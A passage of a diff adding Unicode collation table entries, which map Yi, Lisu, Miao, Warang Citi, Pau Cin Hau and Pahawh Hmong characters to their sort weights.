+A429  ; [.41E8.0020.0002] # YI SYLLABLE JJU
+A42A  ; [.41E9.0020.0002] # YI SYLLABLE JJUP
+A42B  ; [.41EA.0020.0002] # YI SYLLABLE JJURX
+A42C  ; [.41EB.0020.0002] # YI SYLLABLE JJUR
+A42D  ; [.41EC.0020.0002] # YI SYLLABLE JJYT
+A42E  ; [.41ED.0020.0002] # YI SYLLABLE JJYX
+A42F  ; [.41EE.0020.0002] # YI SYLLABLE JJY
+A430  ; [.41EF.0020.0002] # YI SYLLABLE JJYP
+A431  ; [.41F0.0020.0002] # YI SYLLABLE NJIT
+A432  ; [.41F1.0020.0002] # YI SYLLABLE NJIX
+A433  ; [.41F2.0020.0002] # YI SYLLABLE NJI
+A434  ; [.41F3.0020.0002] # YI SYLLABLE NJIP
+A435  ; [.41F4.0020.0002] # YI SYLLABLE NJIET
+A436  ; [.41F5.0020.0002] # YI SYLLABLE NJIEX
+A437  ; [.41F6.0020.0002] # YI SYLLABLE NJIE
+A438  ; [.41F7.0020.0002] # YI SYLLABLE NJIEP
+A439  ; [.41F8.0020.0002] # YI SYLLABLE NJUOX
+A43A  ; [.41F9.0020.0002] # YI SYLLABLE NJUO
+A43B  ; [.41FA.0020.0002] # YI SYLLABLE NJOT
+A43C  ; [.41FB.0020.0002] # YI SYLLABLE NJOX
+A43D  ; [.41FC.0020.0002] # YI SYLLABLE NJO
+A43E  ; [.41FD.0020.0002] # YI SYLLABLE NJOP
+A43F  ; [.41FE.0020.0002] # YI SYLLABLE NJUX
+A440  ; [.41FF.0020.0002] # YI SYLLABLE NJU
+A441  ; [.4200.0020.0002] # YI SYLLABLE NJUP
+A442  ; [.4201.0020.0002] # YI SYLLABLE NJURX
+A443  ; [.4202.0020.0002] # YI SYLLABLE NJUR
+A444  ; [.4203.0020.0002] # YI SYLLABLE NJYT
+A445  ; [.4204.0020.0002] # YI SYLLABLE NJYX
+A446  ; [.4205.0020.0002] # YI SYLLABLE NJY
+A447  ; [.4206.0020.0002] # YI SYLLABLE NJYP
+A448  ; [.4207.0020.0002] # YI SYLLABLE NJYRX
+A449  ; [.4208.0020.0002] # YI SYLLABLE NJYR
+A44A  ; [.4209.0020.0002] # YI SYLLABLE NYIT
+A44B  ; [.420A.0020.0002] # YI SYLLABLE NYIX
+A44C  ; [.420B.0020.0002] # YI SYLLABLE NYI
+A44D  ; [.420C.0020.0002] # YI SYLLABLE NYIP
+A44E  ; [.420D.0020.0002] # YI SYLLABLE NYIET
+A44F  ; [.420E.0020.0002] # YI SYLLABLE NYIEX
+A450  ; [.420F.0020.0002] # YI SYLLABLE NYIE
+A451  ; [.4210.0020.0002] # YI SYLLABLE NYIEP
+A452  ; [.4211.0020.0002] # YI SYLLABLE NYUOX
+A453  ; [.4212.0020.0002] # YI SYLLABLE NYUO
+A454  ; [.4213.0020.0002] # YI SYLLABLE NYUOP
+A455  ; [.4214.0020.0002] # YI SYLLABLE NYOT
+A456  ; [.4215.0020.0002] # YI SYLLABLE NYOX
+A457  ; [.4216.0020.0002] # YI SYLLABLE NYO
+A458  ; [.4217.0020.0002] # YI SYLLABLE NYOP
+A459  ; [.4218.0020.0002] # YI SYLLABLE NYUT
+A45A  ; [.4219.0020.0002] # YI SYLLABLE NYUX
+A45B  ; [.421A.0020.0002] # YI SYLLABLE NYU
+A45C  ; [.421B.0020.0002] # YI SYLLABLE NYUP
+A45D  ; [.421C.0020.0002] # YI SYLLABLE XIT
+A45E  ; [.421D.0020.0002] # YI SYLLABLE XIX
+A45F  ; [.421E.0020.0002] # YI SYLLABLE XI
+A460  ; [.421F.0020.0002] # YI SYLLABLE XIP
+A461  ; [.4220.0020.0002] # YI SYLLABLE XIET
+A462  ; [.4221.0020.0002] # YI SYLLABLE XIEX
+A463  ; [.4222.0020.0002] # YI SYLLABLE XIE
+A464  ; [.4223.0020.0002] # YI SYLLABLE XIEP
+A465  ; [.4224.0020.0002] # YI SYLLABLE XUOX
+A466  ; [.4225.0020.0002] # YI SYLLABLE XUO
+A467  ; [.4226.0020.0002] # YI SYLLABLE XOT
+A468  ; [.4227.0020.0002] # YI SYLLABLE XOX
+A469  ; [.4228.0020.0002] # YI SYLLABLE XO
+A46A  ; [.4229.0020.0002] # YI SYLLABLE XOP
+A46B  ; [.422A.0020.0002] # YI SYLLABLE XYT
+A46C  ; [.422B.0020.0002] # YI SYLLABLE XYX
+A46D  ; [.422C.0020.0002] # YI SYLLABLE XY
+A46E  ; [.422D.0020.0002] # YI SYLLABLE XYP
+A46F  ; [.422E.0020.0002] # YI SYLLABLE XYRX
+A470  ; [.422F.0020.0002] # YI SYLLABLE XYR
+A471  ; [.4230.0020.0002] # YI SYLLABLE YIT
+A472  ; [.4231.0020.0002] # YI SYLLABLE YIX
+A473  ; [.4232.0020.0002] # YI SYLLABLE YI
+A474  ; [.4233.0020.0002] # YI SYLLABLE YIP
+A475  ; [.4234.0020.0002] # YI SYLLABLE YIET
+A476  ; [.4235.0020.0002] # YI SYLLABLE YIEX
+A477  ; [.4236.0020.0002] # YI SYLLABLE YIE
+A478  ; [.4237.0020.0002] # YI SYLLABLE YIEP
+A479  ; [.4238.0020.0002] # YI SYLLABLE YUOT
+A47A  ; [.4239.0020.0002] # YI SYLLABLE YUOX
+A47B  ; [.423A.0020.0002] # YI SYLLABLE YUO
+A47C  ; [.423B.0020.0002] # YI SYLLABLE YUOP
+A47D  ; [.423C.0020.0002] # YI SYLLABLE YOT
+A47E  ; [.423D.0020.0002] # YI SYLLABLE YOX
+A47F  ; [.423E.0020.0002] # YI SYLLABLE YO
+A480  ; [.423F.0020.0002] # YI SYLLABLE YOP
+A481  ; [.4240.0020.0002] # YI SYLLABLE YUT
+A482  ; [.4241.0020.0002] # YI SYLLABLE YUX
+A483  ; [.4242.0020.0002] # YI SYLLABLE YU
+A484  ; [.4243.0020.0002] # YI SYLLABLE YUP
+A485  ; [.4244.0020.0002] # YI SYLLABLE YURX
+A486  ; [.4245.0020.0002] # YI SYLLABLE YUR
+A487  ; [.4246.0020.0002] # YI SYLLABLE YYT
+A488  ; [.4247.0020.0002] # YI SYLLABLE YYX
+A489  ; [.4248.0020.0002] # YI SYLLABLE YY
+A48A  ; [.4249.0020.0002] # YI SYLLABLE YYP
+A48B  ; [.424A.0020.0002] # YI SYLLABLE YYRX
+A48C  ; [.424B.0020.0002] # YI SYLLABLE YYR
+A4F8  ; [.424C.0020.0002] # LISU LETTER TONE MYA TI
+A4F9  ; [.424D.0020.0002] # LISU LETTER TONE NA PO
+A4FA  ; [.424E.0020.0002] # LISU LETTER TONE MYA CYA
+A4FB  ; [.424F.0020.0002] # LISU LETTER TONE MYA BO
+A4FD  ; [.4250.0020.0002] # LISU LETTER TONE MYA JEU
+A4FC  ; [.4251.0020.0002] # LISU LETTER TONE MYA NA
+A4D0  ; [.4252.0020.0002] # LISU LETTER BA
+A4D1  ; [.4253.0020.0002] # LISU LETTER PA
+A4D2  ; [.4254.0020.0002] # LISU LETTER PHA
+A4D3  ; [.4255.0020.0002] # LISU LETTER DA
+A4D4  ; [.4256.0020.0002] # LISU LETTER TA
+A4D5  ; [.4257.0020.0002] # LISU LETTER THA
+A4D6  ; [.4258.0020.0002] # LISU LETTER GA
+A4D7  ; [.4259.0020.0002] # LISU LETTER KA
+A4D8  ; [.425A.0020.0002] # LISU LETTER KHA
+A4D9  ; [.425B.0020.0002] # LISU LETTER JA
+A4DA  ; [.425C.0020.0002] # LISU LETTER CA
+A4DB  ; [.425D.0020.0002] # LISU LETTER CHA
+A4DC  ; [.425E.0020.0002] # LISU LETTER DZA
+A4DD  ; [.425F.0020.0002] # LISU LETTER TSA
+A4DE  ; [.4260.0020.0002] # LISU LETTER TSHA
+A4DF  ; [.4261.0020.0002] # LISU LETTER MA
+A4E0  ; [.4262.0020.0002] # LISU LETTER NA
+A4E1  ; [.4263.0020.0002] # LISU LETTER LA
+A4E2  ; [.4264.0020.0002] # LISU LETTER SA
+A4E3  ; [.4265.0020.0002] # LISU LETTER ZHA
+A4E4  ; [.4266.0020.0002] # LISU LETTER ZA
+A4E5  ; [.4267.0020.0002] # LISU LETTER NGA
+A4E6  ; [.4268.0020.0002] # LISU LETTER HA
+A4E7  ; [.4269.0020.0002] # LISU LETTER XA
+A4E8  ; [.426A.0020.0002] # LISU LETTER HHA
+A4E9  ; [.426B.0020.0002] # LISU LETTER FA
+A4EB  ; [.426C.0020.0002] # LISU LETTER SHA
+A4ED  ; [.426D.0020.0002] # LISU LETTER GHA
+A4EA  ; [.426E.0020.0002] # LISU LETTER WA
+A4EC  ; [.426F.0020.0002] # LISU LETTER YA
+A4EE  ; [.4270.0020.0002] # LISU LETTER A
+A4EF  ; [.4271.0020.0002] # LISU LETTER AE
+A4F0  ; [.4272.0020.0002] # LISU LETTER E
+A4F1  ; [.4273.0020.0002] # LISU LETTER EU
+A4F2  ; [.4274.0020.0002] # LISU LETTER I
+A4F3  ; [.4275.0020.0002] # LISU LETTER O
+A4F4  ; [.4276.0020.0002] # LISU LETTER U
+A4F5  ; [.4277.0020.0002] # LISU LETTER UE
+A4F6  ; [.4278.0020.0002] # LISU LETTER UH
+A4F7  ; [.4279.0020.0002] # LISU LETTER OE
+16F00 ; [.427A.0020.0002] # MIAO LETTER PA
+16F01 ; [.427B.0020.0002] # MIAO LETTER BA
+16F02 ; [.427C.0020.0002] # MIAO LETTER YI PA
+16F03 ; [.427D.0020.0002] # MIAO LETTER PLA
+16F04 ; [.427E.0020.0002] # MIAO LETTER MA
+16F06 ; [.427E.0020.0004] # MIAO LETTER ARCHAIC MA
+16F05 ; [.427F.0020.0002] # MIAO LETTER MHA
+16F07 ; [.4280.0020.0002] # MIAO LETTER FA
+16F08 ; [.4281.0020.0002] # MIAO LETTER VA
+16F09 ; [.4282.0020.0002] # MIAO LETTER VFA
+16F0A ; [.4283.0020.0002] # MIAO LETTER TA
+16F0B ; [.4284.0020.0002] # MIAO LETTER DA
+16F0C ; [.4285.0020.0002] # MIAO LETTER YI TTA
+16F0D ; [.4286.0020.0002] # MIAO LETTER YI TA
+16F0E ; [.4287.0020.0002] # MIAO LETTER TTA
+16F0F ; [.4288.0020.0002] # MIAO LETTER DDA
+16F10 ; [.4289.0020.0002] # MIAO LETTER NA
+16F13 ; [.4289.0020.0004] # MIAO LETTER ARCHAIC NA
+16F11 ; [.428A.0020.0002] # MIAO LETTER NHA
+16F12 ; [.428B.0020.0002] # MIAO LETTER YI NNA
+16F14 ; [.428C.0020.0002] # MIAO LETTER NNA
+16F15 ; [.428D.0020.0002] # MIAO LETTER NNHA
+16F16 ; [.428E.0020.0002] # MIAO LETTER LA
+16F17 ; [.428F.0020.0002] # MIAO LETTER LYA
+16F18 ; [.4290.0020.0002] # MIAO LETTER LHA
+16F19 ; [.4291.0020.0002] # MIAO LETTER LHYA
+16F1A ; [.4292.0020.0002] # MIAO LETTER TLHA
+16F1B ; [.4293.0020.0002] # MIAO LETTER DLHA
+16F1C ; [.4294.0020.0002] # MIAO LETTER TLHYA
+16F1D ; [.4295.0020.0002] # MIAO LETTER DLHYA
+16F1E ; [.4296.0020.0002] # MIAO LETTER KA
+16F1F ; [.4297.0020.0002] # MIAO LETTER GA
+16F20 ; [.4298.0020.0002] # MIAO LETTER YI KA
+16F21 ; [.4299.0020.0002] # MIAO LETTER QA
+16F22 ; [.429A.0020.0002] # MIAO LETTER QGA
+16F23 ; [.429B.0020.0002] # MIAO LETTER NGA
+16F25 ; [.429B.0020.0004] # MIAO LETTER ARCHAIC NGA
+16F24 ; [.429C.0020.0002] # MIAO LETTER NGHA
+16F26 ; [.429D.0020.0002] # MIAO LETTER HA
+16F27 ; [.429E.0020.0002] # MIAO LETTER XA
+16F28 ; [.429F.0020.0002] # MIAO LETTER GHA
+16F29 ; [.42A0.0020.0002] # MIAO LETTER GHHA
+16F2A ; [.42A1.0020.0002] # MIAO LETTER TSSA
+16F2B ; [.42A2.0020.0002] # MIAO LETTER DZZA
+16F2C ; [.42A3.0020.0002] # MIAO LETTER NYA
+16F2D ; [.42A4.0020.0002] # MIAO LETTER NYHA
+16F2E ; [.42A5.0020.0002] # MIAO LETTER TSHA
+16F2F ; [.42A6.0020.0002] # MIAO LETTER DZHA
+16F30 ; [.42A7.0020.0002] # MIAO LETTER YI TSHA
+16F31 ; [.42A8.0020.0002] # MIAO LETTER YI DZHA
+16F32 ; [.42A9.0020.0002] # MIAO LETTER REFORMED TSHA
+16F33 ; [.42AA.0020.0002] # MIAO LETTER SHA
+16F34 ; [.42AB.0020.0002] # MIAO LETTER SSA
+16F35 ; [.42AC.0020.0002] # MIAO LETTER ZHA
+16F36 ; [.42AD.0020.0002] # MIAO LETTER ZSHA
+16F37 ; [.42AE.0020.0002] # MIAO LETTER TSA
+16F38 ; [.42AF.0020.0002] # MIAO LETTER DZA
+16F39 ; [.42B0.0020.0002] # MIAO LETTER YI TSA
+16F3A ; [.42B1.0020.0002] # MIAO LETTER SA
+16F3B ; [.42B2.0020.0002] # MIAO LETTER ZA
+16F3C ; [.42B3.0020.0002] # MIAO LETTER ZSA
+16F3D ; [.42B4.0020.0002] # MIAO LETTER ZZA
+16F3F ; [.42B4.0020.0004] # MIAO LETTER ARCHAIC ZZA
+16F3E ; [.42B5.0020.0002] # MIAO LETTER ZZSA
+16F40 ; [.42B6.0020.0002] # MIAO LETTER ZZYA
+16F41 ; [.42B7.0020.0002] # MIAO LETTER ZZSYA
+16F42 ; [.42B8.0020.0002] # MIAO LETTER WA
+16F43 ; [.42B9.0020.0002] # MIAO LETTER AH
+16F44 ; [.42BA.0020.0002] # MIAO LETTER HHA
+16F50 ; [.42BB.0020.0002] # MIAO LETTER NASALIZATION
+16F51 ; [.42BC.0020.0002] # MIAO SIGN ASPIRATION
+16F52 ; [.42BD.0020.0002] # MIAO SIGN REFORMED VOICING
+16F53 ; [.42BE.0020.0002] # MIAO SIGN REFORMED ASPIRATION
+16F54 ; [.42BF.0020.0002] # MIAO VOWEL SIGN A
+16F55 ; [.42C0.0020.0002] # MIAO VOWEL SIGN AA
+16F56 ; [.42C1.0020.0002] # MIAO VOWEL SIGN AHH
+16F57 ; [.42C2.0020.0002] # MIAO VOWEL SIGN AN
+16F58 ; [.42C3.0020.0002] # MIAO VOWEL SIGN ANG
+16F59 ; [.42C4.0020.0002] # MIAO VOWEL SIGN O
+16F5A ; [.42C5.0020.0002] # MIAO VOWEL SIGN OO
+16F5B ; [.42C6.0020.0002] # MIAO VOWEL SIGN WO
+16F5C ; [.42C7.0020.0002] # MIAO VOWEL SIGN W
+16F5D ; [.42C8.0020.0002] # MIAO VOWEL SIGN E
+16F5E ; [.42C9.0020.0002] # MIAO VOWEL SIGN EN
+16F5F ; [.42CA.0020.0002] # MIAO VOWEL SIGN ENG
+16F60 ; [.42CB.0020.0002] # MIAO VOWEL SIGN OEY
+16F61 ; [.42CC.0020.0002] # MIAO VOWEL SIGN I
+16F62 ; [.42CD.0020.0002] # MIAO VOWEL SIGN IA
+16F63 ; [.42CE.0020.0002] # MIAO VOWEL SIGN IAN
+16F64 ; [.42CF.0020.0002] # MIAO VOWEL SIGN IANG
+16F65 ; [.42D0.0020.0002] # MIAO VOWEL SIGN IO
+16F66 ; [.42D1.0020.0002] # MIAO VOWEL SIGN IE
+16F67 ; [.42D2.0020.0002] # MIAO VOWEL SIGN II
+16F68 ; [.42D3.0020.0002] # MIAO VOWEL SIGN IU
+16F69 ; [.42D4.0020.0002] # MIAO VOWEL SIGN ING
+16F6A ; [.42D5.0020.0002] # MIAO VOWEL SIGN U
+16F6B ; [.42D6.0020.0002] # MIAO VOWEL SIGN UA
+16F6C ; [.42D7.0020.0002] # MIAO VOWEL SIGN UAN
+16F6D ; [.42D8.0020.0002] # MIAO VOWEL SIGN UANG
+16F6E ; [.42D9.0020.0002] # MIAO VOWEL SIGN UU
+16F6F ; [.42DA.0020.0002] # MIAO VOWEL SIGN UEI
+16F70 ; [.42DB.0020.0002] # MIAO VOWEL SIGN UNG
+16F71 ; [.42DC.0020.0002] # MIAO VOWEL SIGN Y
+16F72 ; [.42DD.0020.0002] # MIAO VOWEL SIGN YI
+16F73 ; [.42DE.0020.0002] # MIAO VOWEL SIGN AE
+16F74 ; [.42DF.0020.0002] # MIAO VOWEL SIGN AEE
+16F75 ; [.42E0.0020.0002] # MIAO VOWEL SIGN ERR
+16F76 ; [.42E1.0020.0002] # MIAO VOWEL SIGN ROUNDED ERR
+16F77 ; [.42E2.0020.0002] # MIAO VOWEL SIGN ER
+16F78 ; [.42E3.0020.0002] # MIAO VOWEL SIGN ROUNDED ER
+16F79 ; [.42E4.0020.0002] # MIAO VOWEL SIGN AI
+16F7A ; [.42E5.0020.0002] # MIAO VOWEL SIGN EI
+16F7B ; [.42E6.0020.0002] # MIAO VOWEL SIGN AU
+16F7C ; [.42E7.0020.0002] # MIAO VOWEL SIGN OU
+16F7D ; [.42E8.0020.0002] # MIAO VOWEL SIGN N
+16F7E ; [.42E9.0020.0002] # MIAO VOWEL SIGN NG
+16F8F ; [.42EA.0020.0002] # MIAO TONE RIGHT
+16F90 ; [.42EB.0020.0002] # MIAO TONE TOP RIGHT
+16F91 ; [.42EC.0020.0002] # MIAO TONE ABOVE
+16F92 ; [.42ED.0020.0002] # MIAO TONE BELOW
+16F93 ; [.42EE.0020.0002] # MIAO LETTER TONE-2
+16F94 ; [.42EF.0020.0002] # MIAO LETTER TONE-3
+16F95 ; [.42F0.0020.0002] # MIAO LETTER TONE-4
+16F96 ; [.42F1.0020.0002] # MIAO LETTER TONE-5
+16F97 ; [.42F2.0020.0002] # MIAO LETTER TONE-6
+16F98 ; [.42F3.0020.0002] # MIAO LETTER TONE-7
+16F99 ; [.42F4.0020.0002] # MIAO LETTER TONE-8
+16F9A ; [.42F5.0020.0002] # MIAO LETTER REFORMED TONE-1
+16F9B ; [.42F6.0020.0002] # MIAO LETTER REFORMED TONE-2
+16F9C ; [.42F7.0020.0002] # MIAO LETTER REFORMED TONE-4
+16F9D ; [.42F8.0020.0002] # MIAO LETTER REFORMED TONE-5
+16F9E ; [.42F9.0020.0002] # MIAO LETTER REFORMED TONE-6
+16F9F ; [.42FA.0020.0002] # MIAO LETTER REFORMED TONE-8
+118FF ; [.42FB.0020.0002] # WARANG CITI OM
+118C0 ; [.42FC.0020.0002] # WARANG CITI SMALL LETTER NGAA
+118A0 ; [.42FC.0020.0008] # WARANG CITI CAPITAL LETTER NGAA
+118C1 ; [.42FD.0020.0002] # WARANG CITI SMALL LETTER A
+118A1 ; [.42FD.0020.0008] # WARANG CITI CAPITAL LETTER A
+118C2 ; [.42FE.0020.0002] # WARANG CITI SMALL LETTER WI
+118A2 ; [.42FE.0020.0008] # WARANG CITI CAPITAL LETTER WI
+118C3 ; [.42FF.0020.0002] # WARANG CITI SMALL LETTER YU
+118A3 ; [.42FF.0020.0008] # WARANG CITI CAPITAL LETTER YU
+118C4 ; [.4300.0020.0002] # WARANG CITI SMALL LETTER YA
+118A4 ; [.4300.0020.0008] # WARANG CITI CAPITAL LETTER YA
+118C5 ; [.4301.0020.0002] # WARANG CITI SMALL LETTER YO
+118A5 ; [.4301.0020.0008] # WARANG CITI CAPITAL LETTER YO
+118C6 ; [.4302.0020.0002] # WARANG CITI SMALL LETTER II
+118A6 ; [.4302.0020.0008] # WARANG CITI CAPITAL LETTER II
+118C7 ; [.4303.0020.0002] # WARANG CITI SMALL LETTER UU
+118A7 ; [.4303.0020.0008] # WARANG CITI CAPITAL LETTER UU
+118C8 ; [.4304.0020.0002] # WARANG CITI SMALL LETTER E
+118A8 ; [.4304.0020.0008] # WARANG CITI CAPITAL LETTER E
+118C9 ; [.4305.0020.0002] # WARANG CITI SMALL LETTER O
+118A9 ; [.4305.0020.0008] # WARANG CITI CAPITAL LETTER O
+118CA ; [.4306.0020.0002] # WARANG CITI SMALL LETTER ANG
+118AA ; [.4306.0020.0008] # WARANG CITI CAPITAL LETTER ANG
+118CB ; [.4307.0020.0002] # WARANG CITI SMALL LETTER GA
+118AB ; [.4307.0020.0008] # WARANG CITI CAPITAL LETTER GA
+118CC ; [.4308.0020.0002] # WARANG CITI SMALL LETTER KO
+118AC ; [.4308.0020.0008] # WARANG CITI CAPITAL LETTER KO
+118CD ; [.4309.0020.0002] # WARANG CITI SMALL LETTER ENY
+118AD ; [.4309.0020.0008] # WARANG CITI CAPITAL LETTER ENY
+118CE ; [.430A.0020.0002] # WARANG CITI SMALL LETTER YUJ
+118AE ; [.430A.0020.0008] # WARANG CITI CAPITAL LETTER YUJ
+118CF ; [.430B.0020.0002] # WARANG CITI SMALL LETTER UC
+118AF ; [.430B.0020.0008] # WARANG CITI CAPITAL LETTER UC
+118D0 ; [.430C.0020.0002] # WARANG CITI SMALL LETTER ENN
+118B0 ; [.430C.0020.0008] # WARANG CITI CAPITAL LETTER ENN
+118D1 ; [.430D.0020.0002] # WARANG CITI SMALL LETTER ODD
+118B1 ; [.430D.0020.0008] # WARANG CITI CAPITAL LETTER ODD
+118D2 ; [.430E.0020.0002] # WARANG CITI SMALL LETTER TTE
+118B2 ; [.430E.0020.0008] # WARANG CITI CAPITAL LETTER TTE
+118D3 ; [.430F.0020.0002] # WARANG CITI SMALL LETTER NUNG
+118B3 ; [.430F.0020.0008] # WARANG CITI CAPITAL LETTER NUNG
+118D4 ; [.4310.0020.0002] # WARANG CITI SMALL LETTER DA
+118B4 ; [.4310.0020.0008] # WARANG CITI CAPITAL LETTER DA
+118D5 ; [.4311.0020.0002] # WARANG CITI SMALL LETTER AT
+118B5 ; [.4311.0020.0008] # WARANG CITI CAPITAL LETTER AT
+118D6 ; [.4312.0020.0002] # WARANG CITI SMALL LETTER AM
+118B6 ; [.4312.0020.0008] # WARANG CITI CAPITAL LETTER AM
+118D7 ; [.4313.0020.0002] # WARANG CITI SMALL LETTER BU
+118B7 ; [.4313.0020.0008] # WARANG CITI CAPITAL LETTER BU
+118D8 ; [.4314.0020.0002] # WARANG CITI SMALL LETTER PU
+118B8 ; [.4314.0020.0008] # WARANG CITI CAPITAL LETTER PU
+118D9 ; [.4315.0020.0002] # WARANG CITI SMALL LETTER HIYO
+118B9 ; [.4315.0020.0008] # WARANG CITI CAPITAL LETTER HIYO
+118DA ; [.4316.0020.0002] # WARANG CITI SMALL LETTER HOLO
+118BA ; [.4316.0020.0008] # WARANG CITI CAPITAL LETTER HOLO
+118DB ; [.4317.0020.0002] # WARANG CITI SMALL LETTER HORR
+118BB ; [.4317.0020.0008] # WARANG CITI CAPITAL LETTER HORR
+118DC ; [.4318.0020.0002] # WARANG CITI SMALL LETTER HAR
+118BC ; [.4318.0020.0008] # WARANG CITI CAPITAL LETTER HAR
+118DD ; [.4319.0020.0002] # WARANG CITI SMALL LETTER SSUU
+118BD ; [.4319.0020.0008] # WARANG CITI CAPITAL LETTER SSUU
+118DE ; [.431A.0020.0002] # WARANG CITI SMALL LETTER SII
+118BE ; [.431A.0020.0008] # WARANG CITI CAPITAL LETTER SII
+118DF ; [.431B.0020.0002] # WARANG CITI SMALL LETTER VIYO
+118BF ; [.431B.0020.0008] # WARANG CITI CAPITAL LETTER VIYO
+11AD5 ; [.431C.0020.0002] # PAU CIN HAU LETTER A
+11AD6 ; [.431D.0020.0002] # PAU CIN HAU LETTER E
+11AD7 ; [.431E.0020.0002] # PAU CIN HAU LETTER I
+11AD8 ; [.431F.0020.0002] # PAU CIN HAU LETTER O
+11AD9 ; [.4320.0020.0002] # PAU CIN HAU LETTER U
+11ADA ; [.4321.0020.0002] # PAU CIN HAU LETTER UA
+11ADB ; [.4322.0020.0002] # PAU CIN HAU LETTER IA
+11AC0 ; [.4323.0020.0002] # PAU CIN HAU LETTER PA
+11AC1 ; [.4324.0020.0002] # PAU CIN HAU LETTER KA
+11AC2 ; [.4325.0020.0002] # PAU CIN HAU LETTER LA
+11AC3 ; [.4326.0020.0002] # PAU CIN HAU LETTER MA
+11AC4 ; [.4327.0020.0002] # PAU CIN HAU LETTER DA
+11AC5 ; [.4328.0020.0002] # PAU CIN HAU LETTER ZA
+11AC6 ; [.4329.0020.0002] # PAU CIN HAU LETTER VA
+11AC7 ; [.432A.0020.0002] # PAU CIN HAU LETTER NGA
+11AC8 ; [.432B.0020.0002] # PAU CIN HAU LETTER HA
+11AC9 ; [.432C.0020.0002] # PAU CIN HAU LETTER GA
+11ACA ; [.432D.0020.0002] # PAU CIN HAU LETTER KHA
+11ACB ; [.432E.0020.0002] # PAU CIN HAU LETTER SA
+11ACC ; [.432F.0020.0002] # PAU CIN HAU LETTER BA
+11ACD ; [.4330.0020.0002] # PAU CIN HAU LETTER CA
+11ACE ; [.4331.0020.0002] # PAU CIN HAU LETTER TA
+11ACF ; [.4332.0020.0002] # PAU CIN HAU LETTER THA
+11AD0 ; [.4333.0020.0002] # PAU CIN HAU LETTER NA
+11AD1 ; [.4334.0020.0002] # PAU CIN HAU LETTER PHA
+11AD2 ; [.4335.0020.0002] # PAU CIN HAU LETTER RA
+11AD3 ; [.4336.0020.0002] # PAU CIN HAU LETTER FA
+11AD4 ; [.4337.0020.0002] # PAU CIN HAU LETTER CHA
+11ADC ; [.4338.0020.0002] # PAU CIN HAU LETTER FINAL P
+11ADD ; [.4339.0020.0002] # PAU CIN HAU LETTER FINAL K
+11ADF ; [.433A.0020.0002] # PAU CIN HAU LETTER FINAL M
+11AE0 ; [.433B.0020.0002] # PAU CIN HAU LETTER FINAL N
+11AE1 ; [.433C.0020.0002] # PAU CIN HAU LETTER FINAL L
+11AE2 ; [.433D.0020.0002] # PAU CIN HAU LETTER FINAL W
+11AE3 ; [.433E.0020.0002] # PAU CIN HAU LETTER FINAL NG
+11ADE ; [.433F.0020.0002] # PAU CIN HAU LETTER FINAL T
+11AE4 ; [.4340.0020.0002] # PAU CIN HAU LETTER FINAL Y
+11AEF ; [.4341.0020.0002] # PAU CIN HAU MID-LEVEL TONE
+11AF2 ; [.4342.0020.0002] # PAU CIN HAU MID-LEVEL TONE FINAL
+11AF1 ; [.4343.0020.0002] # PAU CIN HAU MID-LEVEL TONE LONG FINAL
+11AE6 ; [.4344.0020.0002] # PAU CIN HAU RISING TONE
+11AE9 ; [.4345.0020.0002] # PAU CIN HAU RISING TONE FINAL
+11AE5 ; [.4346.0020.0002] # PAU CIN HAU RISING TONE LONG
+11AE8 ; [.4347.0020.0002] # PAU CIN HAU RISING TONE LONG FINAL
+11AF4 ; [.4348.0020.0002] # PAU CIN HAU LOW-FALLING TONE
+11AF7 ; [.4349.0020.0002] # PAU CIN HAU LOW-FALLING TONE FINAL
+11AF3 ; [.434A.0020.0002] # PAU CIN HAU LOW-FALLING TONE LONG
+11AF6 ; [.434B.0020.0002] # PAU CIN HAU LOW-FALLING TONE LONG FINAL
+11AEC ; [.434C.0020.0002] # PAU CIN HAU SANDHI TONE
+11AEE ; [.434D.0020.0002] # PAU CIN HAU SANDHI TONE FINAL
+11AEB ; [.434E.0020.0002] # PAU CIN HAU SANDHI TONE LONG
+11AED ; [.434F.0020.0002] # PAU CIN HAU SANDHI TONE LONG FINAL
+11AF5 ; [.4350.0020.0002] # PAU CIN HAU GLOTTAL STOP
+11AF8 ; [.4351.0020.0002] # PAU CIN HAU GLOTTAL STOP FINAL
+11AE7 ; [.4352.0020.0002] # PAU CIN HAU SANDHI GLOTTAL STOP
+11AEA ; [.4353.0020.0002] # PAU CIN HAU SANDHI GLOTTAL STOP FINAL
+11AF0 ; [.4354.0020.0002] # PAU CIN HAU GLOTTAL STOP VARIANT
+16B00 ; [.4355.0020.0002] # PAHAWH HMONG VOWEL KEEB
+16B01 ; [.4356.0020.0002] # PAHAWH HMONG VOWEL KEEV
+16B02 ; [.4357.0020.0002] # PAHAWH HMONG VOWEL KIB
+16B03 ; [.4358.0020.0002] # PAHAWH HMONG VOWEL KIV
+16B04 ; [.4359.0020.0002] # PAHAWH HMONG VOWEL KAUB
+16B05 ; [.435A.0020.0002] # PAHAWH HMONG VOWEL KAUV
+16B06 ; [.435B.0020.0002] # PAHAWH HMONG VOWEL KUB
+16B07 ; [.435C.0020.0002] # PAHAWH HMONG VOWEL KUV
+16B08 ; [.435D.0020.0002] # PAHAWH HMONG VOWEL KEB
+16B09 ; [.435E.0020.0002] # PAHAWH HMONG VOWEL KEV
+16B0A ; [.435F.0020.0002] # PAHAWH HMONG VOWEL KAIB
+16B0B ; [.4360.0020.0002] # PAHAWH HMONG VOWEL KAIV
+16B0C ; [.4361.0020.0002] # PAHAWH HMONG VOWEL KOOB
+16B0D ; [.4362.0020.0002] # PAHAWH HMONG VOWEL KOOV
+16B0E ; [.4363.0020.0002] # PAHAWH HMONG VOWEL KAWB
+16B0F ; [.4364.0020.0002] # PAHAWH HMONG VOWEL KAWV
+16B10 ; [.4365.0020.0002] # PAHAWH HMONG VOWEL KUAB
+16B11 ; [.4366.0020.0002] # PAHAWH HMONG VOWEL KUAV
+16B12 ; [.4367.0020.0002] # PAHAWH HMONG VOWEL KOB
+16B13 ; [.4368.0020.0002] # PAHAWH HMONG VOWEL KOV
+16B14 ; [.4369.0020.0002] # PAHAWH HMONG VOWEL KIAB
+16B15 ; [.436A.0020.0002] # PAHAWH HMONG VOWEL KIAV
+16B16 ; [.436B.0020.0002] # PAHAWH HMONG VOWEL KAB
+16B17 ; [.436C.0020.0002] # PAHAWH HMONG VOWEL KAV
+16B18 ; [.436D.0020.0002] # PAHAWH HMONG VOWEL KWB
+16B19 ; [.436E.0020.0002] # PAHAWH HMONG VOWEL KWV
+16B1A ; [.436F.0020.0002] # PAHAWH HMONG VOWEL KAAB
+16B1B ; [.4370.0020.0002] # PAHAWH HMONG VOWEL KAAV
+16B1C ; [.4371.0020.0002] # PAHAWH HMONG CONSONANT VAU
